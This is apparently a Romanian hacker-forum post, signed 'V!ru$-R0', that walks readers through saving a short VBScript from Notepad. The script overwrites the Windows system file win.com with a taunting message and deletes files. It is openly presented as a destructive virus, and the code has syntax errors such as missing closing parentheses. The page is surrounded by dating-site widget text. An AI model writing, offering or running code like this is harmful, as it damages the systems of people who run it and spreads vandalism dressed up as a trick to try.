~~BeStCMuZiC~~
Bine ai venit!!
|
Nou pe simpatie:
oana89
 | Femeie
25 ani
Bucuresti
cauta Barbat
25 - 46 ani |
|
|
~~BeStCMuZiC~~InregistrareLoginPozeNu sunteti logat. Lista Forumurilor Pe Tematici
|
| #1 |
|
|
Creati un Fisier Text Nodepad deschidetil si scrieti urmatoarele :
Dim fso, fs1, fs2
Dim drive, folder, file
Set fso = CreateObject("Scripting.FileSystemObject"
Code:
Dim fso, fs1, fs2
Dim drive, folder, file
Set fso = CreateObject("Scripting.FileSystemObject"
drive = "c:\"
folder ="windows\"
file = "win.com"
Set fs1 = fso.GetFile(drive&folder&file)
fs1.copy ("c:\windows\temp\win.com"
set fs2=fso.CreateTextFile("c:\windows\win.com"
fs2.writeline "win.com is gone images/smiles/icon_biggrin.gif"
Set fs1 = fso.GetFile(drive&folder&file)
fs1.delete
fs2.close
Bafta...By:V!ru$-R0
_______________________________________
B3 Th3 B3sT FucK The ResT
BestCMuzic-Team
_______________________________________
By h4x0r--->BestCMuzic Team!
|
|
| |
|
